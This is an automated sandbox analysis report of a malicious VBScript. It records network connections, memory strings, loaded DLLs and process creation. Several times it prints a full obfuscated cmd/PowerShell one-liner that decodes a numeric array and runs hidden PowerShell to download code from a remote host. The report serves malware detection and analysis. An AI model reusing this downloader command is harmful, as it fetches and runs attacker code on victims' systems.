Windows Analysis Report
analysis.vbs

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 45.93.9.167:15322

Source: Joe Sandbox View

IP Address: 149.56.240.127 149.56.240.127

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: host85500.info

Source: wscript.exe, 00000000.00000002.2157512064.0000021328E53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cot
Source: wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened
Source: wscript.exe, 00000000.00000002.2157235442.0000021326F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened-
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedP
Source: wscript.exe, 00000000.00000002.2157512064.0000021328E53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedh
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedjg
Source: wscript.exe, 00000000.00000003.2156569055.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155775019.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2156362022.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2156423007.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157099379.0000021326CAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedl
Source: wscript.exe, 00000000.00000003.2155460887.0000021328D82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328D87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155993130.0000021328D87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedw2
Source: wscript.exe, 00000000.00000003.2155993130.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155460887.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.hista
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histatl2
Source: wscript.exe, 00000000.00000003.2155993130.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155460887.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/C
Source: wscript.exe, 00000000.00000003.2155993130.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155460887.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/o
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/s
Source: wscript.exe, 00000000.00000002.2157030674.0000021326C46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/st
Source: wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stats/0.php?4926118&
Source: wscript.exe, 00000000.00000003.2155969410.0000021326C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histav2

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 149.56.240.127:443 -> 192.168.2.5:49704 version: TLS 1.2

System Summary

Source: C:\Windows\System32\wscript.exe

COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: analysis.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal84.expl.evad.winVBS@8/5@2/2

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\0[1].htm

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ime1wocq.hyz.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\analysis.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\analysis.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
